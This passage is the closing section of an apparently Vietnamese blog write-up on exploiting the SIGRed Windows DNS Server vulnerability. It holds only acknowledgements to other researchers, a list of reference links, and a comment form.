Worawit Wang , người đã phát hành một bài viết về việc khai thác SIGRed. Tôi đã sử dụng một số kỹ thuật đã thảo luận.

Andréa , vì công việc xuất sắc của cô ấy đã tạo ra đồ họa trong bài viết này.

Connor McGarr , người cũng đã viết DoS PoC cho SIGRed và đã trả lời các câu hỏi của tôi.

Michael Maltsev , người tạo ra Winbindex , từ đó tôi có thể lấy nhiều mẫu dns.exe và msvcrt.dll để lập trình trước các phần bù.

InsanityBitGrapl , để hỗ trợ nghiên cứu này.

Nguồn

  1. https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/
  2. https://github.com/chompie1337/SIGRed_RCE_PoC
  3. https://datafarm-cybersecurity.medium.com/exploiting-sigred-cve-2020-1350-on-windows-server-2012-2016-2019-80dd88594228
  4. https://docs.microsoft.com/en-us/windows/win32/secbp/control-flow-guard
  5. https://en.wikipedia.org/wiki/Address_space_layout_randomization
  6. https://docs.microsoft.com/en-us/windows/win32/dns/dns-constants
  7. https://en.wikipedia.org/wiki/Return-oriented_programming
  8. https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups
  9. https://serverfault.com/questions/991520/how-is-truncation-performed-in-dns-according-to-rfc-1035
  10. https://en.wikipedia.org/wiki/List_of_DNS_record_types
  11. https://improsec.com/tech-blog/bypassing-control-flow-guard-in-windows-10

Trả lời

Please log in using one of these methods to post your comment:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Google photo

Bạn đang bình luận bằng tài khoản Google Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s